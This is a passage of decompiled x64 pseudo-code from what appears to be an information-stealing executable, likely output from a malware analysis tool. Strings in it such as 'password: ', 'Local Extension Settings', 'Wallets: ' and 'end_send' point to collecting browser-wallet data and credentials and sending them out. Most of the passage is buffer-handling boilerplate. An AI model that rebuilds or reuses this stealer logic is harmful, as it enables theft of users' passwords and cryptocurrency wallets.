				E00007FF77FF7E6B0C080(_t1207 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x988);
				_t1214 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1214 & 0x000000ff) != 1) goto 0xe6b077c1;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "VivaPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x988);
				E00007FF77FF7E6B0C080(_t1214 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				 *((long long*)(_t3075 + 0x1eb0)) = __rsi;
				 *((long long*)(_t3075 + 0x1eb8)) = __r12;
				 *((long long*)(_t3075 + 0x1ec0)) = __r14;
				 *((long long*)(_t3075 + 0x1e80)) = __r15;
				E00007FF77FF7E6B04090(0xe6b6bcd0, _t3074 - 0x40);
				E00007FF77FF7E6B02820(_t1696, _t3074 - 0x20, L"Local Extension Settings");
				E00007FF77FF7E6B12670(_t1424, __edi, __esp, (_t1214 & 0x000000ff) - 1, _t1696, _t3074 + 0x30, _t1696, _t3074, _t1696, _t3159); // executed
				E00007FF77FF7E6B0A740(_t3074 + 0x30, _t3074 + 0x30, _t1696);
				E00007FF77FF7E6B04090(0xe6b6bcf0, _t3075 + 0x60);
				E00007FF77FF7E6B02820(_t1696, _t3074 - 0x40, L"Local Extension Settings");
				E00007FF77FF7E6B12670(_t1424, __edi, __esp, (_t1214 & 0x000000ff) - 1, _t1696, _t3074 + 0x30, _t1696, _t3074, _t1696, _t3159); // executed
				E00007FF77FF7E6B0A740(_t3074 + 0x30, _t3074 + 0x30, _t1696);
				_t1697 =  *0xe6b6e078;
				r13d = 0;
				_t1940 =  *_t1697;
				if (_t1940 == _t1697) goto 0xe6b07dfb;
				_t407 = _t1940 + 0x40; // 0x40
				E00007FF77FF7E6B02AF0(_t1214 & 0x000000ff, _t1424, __edi, __esp, _t1940, _t407, _t3074 + 0x50, _t3074);
				_t409 = _t1940 + 0x40; // 0x40
				E00007FF77FF7E6B01C20(_t409, _t3074 + 0xe8);
				E00007FF77FF7E6B01C00(_t3074 + 0xa0);
				_t412 = _t1940 + 0x20; // 0x20
				E00007FF77FF7E6B09B50(_t1697, _t1940, _t3074 + 0x80, _t412);
				_t2808 =  >=  ?  *((void*)(_t3074 + 0x80)) : _t3074 + 0x80;
				_t3115 = ( >=  ?  *((void*)(_t3074 + 0x80)) : _t3074 + 0x80) +  *(_t3074 + 0x90) * 2;
				_t2810 =  >=  ?  *((void*)(_t3074 + 0x80)) : _t3074 + 0x80;
				E00007FF77FF7E6B02D30(_t1940, _t3074 + 0xc0,  >=  ?  *((void*)(_t3074 + 0x80)) : _t3074 + 0x80, 0xffffffff, _t3074, ( >=  ?  *((void*)(_t3074 + 0x80)) : _t3074 + 0x80) +  *(_t3074 + 0x90) * 2);
				_t2315 =  *((intOrPtr*)(_t3074 + 0xd0));
				if (0xffffffff - _t2315 - 9 < 0) goto 0xe6b09658;
				 *((long long*)(_t3075 + 0x30)) = _t2315;
				_t1702 =  >=  ?  *((void*)(_t3074 + 0xc0)) : _t3074 + 0xc0;
				 *((long long*)(_t3075 + 0x28)) = _t1702;
				 *((long long*)(_t3075 + 0x20)) = 9;
				E00007FF77FF7E6B03510(_t1940, _t3075 + 0x40,  >=  ?  *((void*)(_t3074 + 0x80)) : _t3074 + 0x80, "Wallets: ");
				r8d = 1;
				E00007FF77FF7E6B02A20(_t1940, _t3075 + 0x40, 0xffffffff, ( >=  ?  *((void*)(_t3074 + 0x80)) : _t3074 + 0x80) +  *(_t3074 + 0x90) * 2);
				 *(_t3074 - 0x70) = __r13;
				 *((long long*)(_t3074 - 0x68)) = __r13;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x80], xmm0");
				asm("movups xmm0, [eax]");
				asm("movups [ebp-0x80], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebp-0x70], xmm1");
				 *((long long*)(_t1702 + 0x10)) = __r13;
				 *((long long*)(_t1702 + 0x18)) = 0xf;
				 *_t1702 = r13b;
				_t2813 =  >=  ?  *((void*)(_t3074 + 0xa0)) : _t3074 + 0xa0;
				E00007FF77FF7E6B02A20(_t1940, _t3074 - 0x80, 0xffffffff,  *((intOrPtr*)(_t3074 + 0xb0)));
				 *((long long*)(_t3074 + 0x40)) = __r13;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x30], xmm0");
				 *((long long*)(_t3074 + 0x48)) = __r13;
				asm("movups xmm0, [eax]");
				asm("movups [ebp+0x30], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebp+0x40], xmm1");
				 *((long long*)(_t1702 + 0x10)) = __r13;
				 *((long long*)(_t1702 + 0x18)) = 0xf;
				 *_t1702 = r13b;
				_t2814 =  *((intOrPtr*)(_t3074 - 0x68));
				if (_t2814 - 0x10 < 0) goto 0xe6b07a22;
				if (_t2814 + 1 - 0x1000 < 0) goto 0xe6b07a1d;
				if ( *((intOrPtr*)(_t3074 - 0x80)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 - 0x80)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0963a;
				E00007FF77FF7E6B3CAF0(_t1425,  *((intOrPtr*)( *((intOrPtr*)(_t3074 - 0x80)) - 8)));
				_t2817 =  *((intOrPtr*)(_t3075 + 0x58));
				 *(_t3074 - 0x70) = __r13;
				 *((long long*)(_t3074 - 0x68)) = 0xf;
				 *((intOrPtr*)(_t3074 - 0x80)) = r13b;
				if (_t2817 - 0x10 < 0) goto 0xe6b07a6f;
				if (_t2817 + 1 - 0x1000 < 0) goto 0xe6b07a6a;
				_t1708 =  *((intOrPtr*)(_t3075 + 0x40)) -  *((intOrPtr*)( *((intOrPtr*)(_t3075 + 0x40)) - 8)) + 0xfffffff8;
				if ( *((intOrPtr*)(_t3075 + 0x40)) -  *((intOrPtr*)( *((intOrPtr*)(_t3075 + 0x40)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0963a;
				E00007FF77FF7E6B3CAF0(_t1425,  *((intOrPtr*)( *((intOrPtr*)(_t3075 + 0x40)) - 8)));
				_t2821 =  >=  ?  *((void*)(_t3074 + 0x30)) : _t3074 + 0x30;
				0xe6b0b400();
				E00007FF77FF7E6B0A2B0(0xa, _t1940,  *((intOrPtr*)(_t3075 + 0x40)) -  *((intOrPtr*)( *((intOrPtr*)(_t3075 + 0x40)) - 8)) + 0xfffffff8);
				E00007FF77FF7E6B02900( *((intOrPtr*)(_t3075 + 0x40)) -  *((intOrPtr*)( *((intOrPtr*)(_t3075 + 0x40)) - 8)) + 0xfffffff8, _t1940, _t3074 - 0x40, _t3074 + 0x30);
				E00007FF77FF7E6B02900(_t1708, _t1940, _t3074 - 0x20, _t3074 + 0xc0);
				_t3073 =  *((intOrPtr*)(_t3074 + 0x60));
				_t3165 =  >=  ?  *((void*)(_t3074 + 0x50)) : _t3074 + 0x50;
				 *(_t3074 - 0x70) = __r13;
				asm("xorps xmm0, xmm0");
				 *((long long*)(_t3074 - 0x68)) = __r13;
				asm("movups [ebp-0x80], xmm0");
				if (_t3073 - 0xffffffff > 0) goto 0xe6b09652;
				 *((long long*)(_t3074 - 0x68)) = 0xf;
				if (_t3073 - 0x10 >= 0) goto 0xe6b07b10;
				r8d = 0x10;
				 *(_t3074 - 0x70) = _t3073;
				E00007FF77FF7E6B3F010();
				goto 0xe6b07ba2;
				if ((_t3073 | 0x0000000f) - 0xffffffff <= 0) goto 0xe6b07b21;
				goto 0xe6b07b2e;
				_t3070 =  <  ? 0xffffffff : 0xffffffff;
				_t2329 =  <  ? 0xffffffff : 0x8000000000000000;
				if (0xffffffff - 0x1000 < 0) goto 0xe6b07b78;
				_t471 = _t2329 + 0x27; // 0x8000000000000025
				_t1711 = _t471;
				_t1502 = _t1711 - ( <  ? 0xffffffff : 0x8000000000000000);
				if (_t1711 - ( <  ? 0xffffffff : 0x8000000000000000) <= 0) goto 0xe6b09646;
				E00007FF77FF7E6B3CAAC(_t1711 - ( <  ? 0xffffffff : 0x8000000000000000), _t1711, _t1711);
				_t2331 = _t1711;
				if (_t1711 == 0) goto 0xe6b09640;
				 *((long long*)((_t1711 + 0x00000027 & 0xffffffe0) - 8)) = _t2331;
				goto 0xe6b07b87;
				if (_t2331 == 0) goto 0xe6b07b84;
				E00007FF77FF7E6B3CAAC(_t2331, _t1711 + 0x00000027 & 0xffffffe0, _t2331);
				goto 0xe6b07b87;
				 *((long long*)(_t3074 - 0x80)) = __r13;
				 *(_t3074 - 0x70) = _t3073;
				 *((long long*)(_t3074 - 0x68)) = 0xffffffff;
				E00007FF77FF7E6B3F010();
				E00007FF77FF7E6B0C7E0( *0xe6b6e070, _t3074 - 0x80, _t1708, _t1708);
				_t2827 =  *((intOrPtr*)(_t3074 + 0x48));
				if (_t2827 - 0x10 < 0) goto 0xe6b07bf3;
				if (_t2827 + 1 - 0x1000 < 0) goto 0xe6b07bee;
				if ( *((intOrPtr*)(_t3074 + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x30)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0964c;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x30)) - 8)));
				_t2830 =  *((intOrPtr*)(_t3074 + 0xd8));
				 *((long long*)(_t3074 + 0x40)) = __r13;
				 *((long long*)(_t3074 + 0x48)) = 0xf;
				 *((intOrPtr*)(_t3074 + 0x30)) = r13b;
				if (_t2830 - 0x10 < 0) goto 0xe6b07c44;
				if (_t2830 + 1 - 0x1000 < 0) goto 0xe6b07c3f;
				if ( *((intOrPtr*)(_t3074 + 0xc0)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0xc0)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0964c;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0xc0)) - 8)));
				_t2833 =  *((intOrPtr*)(_t3074 + 0x98));
				if (_t2833 - 8 < 0) goto 0xe6b07c8a;
				if (2 + _t2833 * 2 - 0x1000 < 0) goto 0xe6b07c85;
				if ( *((intOrPtr*)(_t3074 + 0x80)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x80)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0964c;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x80)) - 8)));
				_t2836 =  *((intOrPtr*)(_t3074 + 0xb8));
				 *(_t3074 + 0x90) = __r13;
				 *((long long*)(_t3074 + 0x98)) = 7;
				 *((intOrPtr*)(_t3074 + 0x80)) = r13w;
				if (_t2836 - 0x10 < 0) goto 0xe6b07ce5;
				if (_t2836 + 1 - 0x1000 < 0) goto 0xe6b07ce0;
				if ( *((intOrPtr*)(_t3074 + 0xa0)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0xa0)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0964c;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0xa0)) - 8)));
				_t2839 =  *((intOrPtr*)(_t3074 + 0x100));
				 *((long long*)(_t3074 + 0xb0)) = __r13;
				 *((long long*)(_t3074 + 0xb8)) = 0xf;
				 *((intOrPtr*)(_t3074 + 0xa0)) = r13b;
				if (_t2839 - 8 < 0) goto 0xe6b07d44;
				if (2 + _t2839 * 2 - 0x1000 < 0) goto 0xe6b07d3f;
				if ( *((intOrPtr*)(_t3074 + 0xe8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0xe8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0964c;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0xe8)) - 8)));
				_t2842 =  *((intOrPtr*)(_t3074 + 0x68));
				 *((long long*)(_t3074 + 0xf8)) = __r13;
				 *((long long*)(_t3074 + 0x100)) = 7;
				 *((intOrPtr*)(_t3074 + 0xe8)) = r13w;
				if (_t2842 - 0x10 < 0) goto 0xe6b07d99;
				if (_t2842 + 1 - 0x1000 < 0) goto 0xe6b07d94;
				if ( *((intOrPtr*)(_t3074 + 0x50)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x50)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0964c;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x50)) - 8)));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t1940 + 0x10)) + 0x19)) == r13b) goto 0xe6b07dd2;
				_t1734 =  *((intOrPtr*)(_t1940 + 8));
				if ( *((intOrPtr*)(_t1734 + 0x19)) != r13b) goto 0xe6b07dc3;
				if (_t1940 !=  *((intOrPtr*)(_t1734 + 0x10))) goto 0xe6b07dc3;
				_t1735 =  *((intOrPtr*)(_t1734 + 8));
				if ( *((intOrPtr*)(_t1735 + 0x19)) == r13b) goto 0xe6b07db0;
				goto 0xe6b07870;
				_t2346 =  *_t1735;
				if ( *((intOrPtr*)(_t2346 + 0x19)) != r13b) goto 0xe6b07def;
				_t1944 = _t2346;
				if ( *((intOrPtr*)( *_t2346 + 0x19)) == r13b) goto 0xe6b07de0;
				goto 0xe6b07870;
				asm("xorps xmm0, xmm0");
				asm("xorps xmm1, xmm1");
				r8d = 0xa;
				asm("movups [esp+0x40], xmm0");
				asm("movdqu [esp+0x50], xmm1");
				E00007FF77FF7E6B02FD0(_t2346, _t3075 + 0x40, "end_send: ", _t1708);
				asm("xorps xmm0, xmm0");
				asm("xorps xmm1, xmm1");
				r8d = 9;
				asm("movups [ebp+0x50], xmm0");
				asm("movdqu [ebp+0x60], xmm1");
				E00007FF77FF7E6B02FD0(_t2346, _t3074 + 0x50, " end_send", _t1708);
				0xe6b0bb70();
				__imp__#3();
				_t2848 =  *((intOrPtr*)(_t3074 + 0x120));
				if (_t2848 - 0x10 < 0) goto 0xe6b07eab;
				if (_t2848 + 1 - 0x1000 < 0) goto 0xe6b07ea6;
				if ( *((intOrPtr*)(_t3074 + 0x108)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x108)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x108)) - 8)));
				asm("movdqa xmm0, [0x5968d]");
				asm("movdqu [ebp+0x118], xmm0");
				 *((intOrPtr*)(_t3074 + 0x108)) = r13b;
				E00007FF77FF7E6B02860(_t3074 + 0xbc8);
				E00007FF77FF7E6B02860(_t3074 + 0xbe8);
				E00007FF77FF7E6B02860(_t3074 + 0xc08);
				E00007FF77FF7E6B02860(_t3074 + 0xc28);
				E00007FF77FF7E6B02860(_t3074 + 0x7e8);
				E00007FF77FF7E6B02860(_t3074 + 0x808);
				E00007FF77FF7E6B02860(_t3074 + 0x828);
				E00007FF77FF7E6B02860(_t3074 + 0x848);
				E00007FF77FF7E6B02860(_t3074 + 0x868);
				E00007FF77FF7E6B02860(_t3074 + 0x888);
				E00007FF77FF7E6B02860(_t3074 + 0x8a8);
				_t2851 =  *((intOrPtr*)(_t3074 + 0x140));
				if (_t2851 - 0x10 < 0) goto 0xe6b07f87;
				if (_t2851 + 1 - 0x1000 < 0) goto 0xe6b07f82;
				if ( *((intOrPtr*)(_t3074 + 0x128)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x128)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x128)) - 8)));
				_t2854 =  *((intOrPtr*)(_t3074 + 0x340));
				asm("movdqa xmm0, [0x595aa]");
				 *((intOrPtr*)(_t3074 + 0x128)) = r13b;
				asm("movdqu [ebp+0x138], xmm0");
				if (_t2854 - 0x10 < 0) goto 0xe6b07fdf;
				if (_t2854 + 1 - 0x1000 < 0) goto 0xe6b07fda;
				if ( *((intOrPtr*)(_t3074 + 0x328)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x328)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x328)) - 8)));
				_t2857 =  *((intOrPtr*)(_t3074 + 0x320));
				asm("movdqa xmm0, [0x59552]");
				 *((intOrPtr*)(_t3074 + 0x328)) = r13b;
				asm("movdqu [ebp+0x338], xmm0");
				if (_t2857 - 0x10 < 0) goto 0xe6b08037;
				if (_t2857 + 1 - 0x1000 < 0) goto 0xe6b08032;
				if ( *((intOrPtr*)(_t3074 + 0x308)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x308)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x308)) - 8)));
				_t2860 =  *((intOrPtr*)(_t3074 + 0x300));
				asm("movdqa xmm0, [0x594fa]");
				 *((intOrPtr*)(_t3074 + 0x308)) = r13b;
				asm("movdqu [ebp+0x318], xmm0");
				if (_t2860 - 0x10 < 0) goto 0xe6b0808f;
				if (_t2860 + 1 - 0x1000 < 0) goto 0xe6b0808a;
				if ( *((intOrPtr*)(_t3074 + 0x2e8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x2e8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x2e8)) - 8)));
				_t2863 =  *((intOrPtr*)(_t3074 + 0x2e0));
				asm("movdqa xmm0, [0x594a2]");
				 *((intOrPtr*)(_t3074 + 0x2e8)) = r13b;
				asm("movdqu [ebp+0x2f8], xmm0");
				if (_t2863 - 0x10 < 0) goto 0xe6b080e7;
				if (_t2863 + 1 - 0x1000 < 0) goto 0xe6b080e2;
				if ( *((intOrPtr*)(_t3074 + 0x2c8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x2c8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x2c8)) - 8)));
				_t2866 =  *((intOrPtr*)(_t3074 + 0x360));
				asm("movdqa xmm0, [0x5944a]");
				 *((intOrPtr*)(_t3074 + 0x2c8)) = r13b;
				asm("movdqu [ebp+0x2d8], xmm0");
				if (_t2866 - 0x10 < 0) goto 0xe6b0813f;
				if (_t2866 + 1 - 0x1000 < 0) goto 0xe6b0813a;
				if ( *((intOrPtr*)(_t3074 + 0x348)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x348)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x348)) - 8)));
				_t2869 =  *((intOrPtr*)(_t3074 + 0x5a0));
				asm("movdqa xmm0, [0x593f2]");
				 *((intOrPtr*)(_t3074 + 0x348)) = r13b;
				asm("movdqu [ebp+0x358], xmm0");
				if (_t2869 - 8 < 0) goto 0xe6b0819c;
				if (2 + _t2869 * 2 - 0x1000 < 0) goto 0xe6b08197;
				if ( *((intOrPtr*)(_t3074 + 0x588)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x588)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x588)) - 8)));
				_t2872 =  *((intOrPtr*)(_t3074 + 0x760));
				asm("movdqa xmm0, [0x59385]");
				 *((intOrPtr*)(_t3074 + 0x588)) = r13w;
				asm("movdqu [ebp+0x598], xmm0");
				if (_t2872 - 8 < 0) goto 0xe6b081fa;
				if (2 + _t2872 * 2 - 0x1000 < 0) goto 0xe6b081f5;
				if ( *((intOrPtr*)(_t3074 + 0x748)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x748)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x748)) - 8)));
				_t2875 =  *((intOrPtr*)(_t3074 + 0x780));
				asm("movdqa xmm0, [0x59327]");
				 *((intOrPtr*)(_t3074 + 0x748)) = r13w;
				asm("movdqu [ebp+0x758], xmm0");
				if (_t2875 - 8 < 0) goto 0xe6b08258;
				if (2 + _t2875 * 2 - 0x1000 < 0) goto 0xe6b08253;
				if ( *((intOrPtr*)(_t3074 + 0x768)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x768)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x768)) - 8)));
				_t2878 =  *((intOrPtr*)(_t3074 + 0x7a0));
				asm("movdqa xmm0, [0x592c9]");
				 *((intOrPtr*)(_t3074 + 0x768)) = r13w;
				asm("movdqu [ebp+0x778], xmm0");
				if (_t2878 - 8 < 0) goto 0xe6b082b6;
				if (2 + _t2878 * 2 - 0x1000 < 0) goto 0xe6b082b1;
				if ( *((intOrPtr*)(_t3074 + 0x788)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x788)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x788)) - 8)));
				_t2881 =  *((intOrPtr*)(_t3074 + 0x7c0));
				asm("movdqa xmm0, [0x5926b]");
				 *((intOrPtr*)(_t3074 + 0x788)) = r13w;
				asm("movdqu [ebp+0x798], xmm0");
				if (_t2881 - 8 < 0) goto 0xe6b08314;
				if (2 + _t2881 * 2 - 0x1000 < 0) goto 0xe6b0830f;
				if ( *((intOrPtr*)(_t3074 + 0x7a8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x7a8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x7a8)) - 8)));
				_t2884 =  *((intOrPtr*)(_t3074 + 0x380));
				asm("movdqa xmm0, [0x5920d]");
				 *((intOrPtr*)(_t3074 + 0x7a8)) = r13w;
				asm("movdqu [ebp+0x7b8], xmm0");
				if (_t2884 - 8 < 0) goto 0xe6b08372;
				if (2 + _t2884 * 2 - 0x1000 < 0) goto 0xe6b0836d;
				if ( *((intOrPtr*)(_t3074 + 0x368)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x368)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x368)) - 8)));
				_t2887 =  *((intOrPtr*)(_t3074 + 0x3a0));
				asm("movdqa xmm0, [0x591af]");
				 *((intOrPtr*)(_t3074 + 0x368)) = r13w;
				asm("movdqu [ebp+0x378], xmm0");
				if (_t2887 - 8 < 0) goto 0xe6b083d0;
				if (2 + _t2887 * 2 - 0x1000 < 0) goto 0xe6b083cb;
				if ( *((intOrPtr*)(_t3074 + 0x388)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x388)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x388)) - 8)));
				_t2890 =  *((intOrPtr*)(_t3074 + 0x3c0));
				asm("movdqa xmm0, [0x59151]");
				 *((intOrPtr*)(_t3074 + 0x388)) = r13w;
				asm("movdqu [ebp+0x398], xmm0");
				if (_t2890 - 8 < 0) goto 0xe6b0842e;
				if (2 + _t2890 * 2 - 0x1000 < 0) goto 0xe6b08429;
				if ( *((intOrPtr*)(_t3074 + 0x3a8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x3a8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x3a8)) - 8)));
				_t2893 =  *((intOrPtr*)(_t3074 + 0x3e0));
				asm("movdqa xmm0, [0x590f3]");
				 *((intOrPtr*)(_t3074 + 0x3a8)) = r13w;
				asm("movdqu [ebp+0x3b8], xmm0");
				if (_t2893 - 8 < 0) goto 0xe6b0848c;
				if (2 + _t2893 * 2 - 0x1000 < 0) goto 0xe6b08487;
				if ( *((intOrPtr*)(_t3074 + 0x3c8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x3c8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x3c8)) - 8)));
				_t2896 =  *((intOrPtr*)(_t3074 + 0x400));
				asm("movdqa xmm0, [0x59095]");
				 *((intOrPtr*)(_t3074 + 0x3c8)) = r13w;
				asm("movdqu [ebp+0x3d8], xmm0");
				if (_t2896 - 8 < 0) goto 0xe6b084ea;
				if (2 + _t2896 * 2 - 0x1000 < 0) goto 0xe6b084e5;
				if ( *((intOrPtr*)(_t3074 + 0x3e8)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x3e8)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x3e8)) - 8)));
				_t2899 =  *((intOrPtr*)(_t3074 + 0x420));
				asm("movdqa xmm0, [0x59037]");
				 *((intOrPtr*)(_t3074 + 0x3e8)) = r13w;
				asm("movdqu [ebp+0x3f8], xmm0");
				if (_t2899 - 8 < 0) goto 0xe6b08548;
				if (2 + _t2899 * 2 - 0x1000 < 0) goto 0xe6b08543;
				if ( *((intOrPtr*)(_t3074 + 0x408)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x408)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x408)) - 8)));
				_t2902 =  *((intOrPtr*)(_t3074 + 0x440));
				asm("movdqa xmm0, [0x58fd9]");
				 *((intOrPtr*)(_t3074 + 0x408)) = r13w;
				asm("movdqu [ebp+0x418], xmm0");
				if (_t2902 - 8 < 0) goto 0xe6b085a6;
				if (2 + _t2902 * 2 - 0x1000 < 0) goto 0xe6b085a1;
				if ( *((intOrPtr*)(_t3074 + 0x428)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x428)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x428)) - 8)));
				_t2905 =  *((intOrPtr*)(_t3074 + 0x460));
				asm("movdqa xmm0, [0x58f7b]");
				 *((intOrPtr*)(_t3074 + 0x428)) = r13w;
				asm("movdqu [ebp+0x438], xmm0");
				if (_t2905 - 8 < 0) goto 0xe6b08604;
				if (2 + _t2905 * 2 - 0x1000 < 0) goto 0xe6b085ff;
				if ( *((intOrPtr*)(_t3074 + 0x448)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x448)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x448)) - 8)));
				_t2908 =  *((intOrPtr*)(_t3074 + 0x480));
				asm("movdqa xmm0, [0x58f1d]");
				 *((intOrPtr*)(_t3074 + 0x448)) = r13w;
				asm("movdqu [ebp+0x458], xmm0");
				if (_t2908 - 8 < 0) goto 0xe6b08662;
				if (2 + _t2908 * 2 - 0x1000 < 0) goto 0xe6b0865d;
				if ( *((intOrPtr*)(_t3074 + 0x468)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x468)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x468)) - 8)));
				_t2911 =  *((intOrPtr*)(_t3074 + 0x4a0));
				asm("movdqa xmm0, [0x58ebf]");
				 *((intOrPtr*)(_t3074 + 0x468)) = r13w;
				asm("movdqu [ebp+0x478], xmm0");
				if (_t2911 - 8 < 0) goto 0xe6b086c0;
				if (2 + _t2911 * 2 - 0x1000 < 0) goto 0xe6b086bb;
				if ( *((intOrPtr*)(_t3074 + 0x488)) -  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x488)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b09634;
				E00007FF77FF7E6B3CAF0(0xa,  *((intOrPtr*)( *((intOrPtr*)(_t3074 + 0x488)) - 8)));
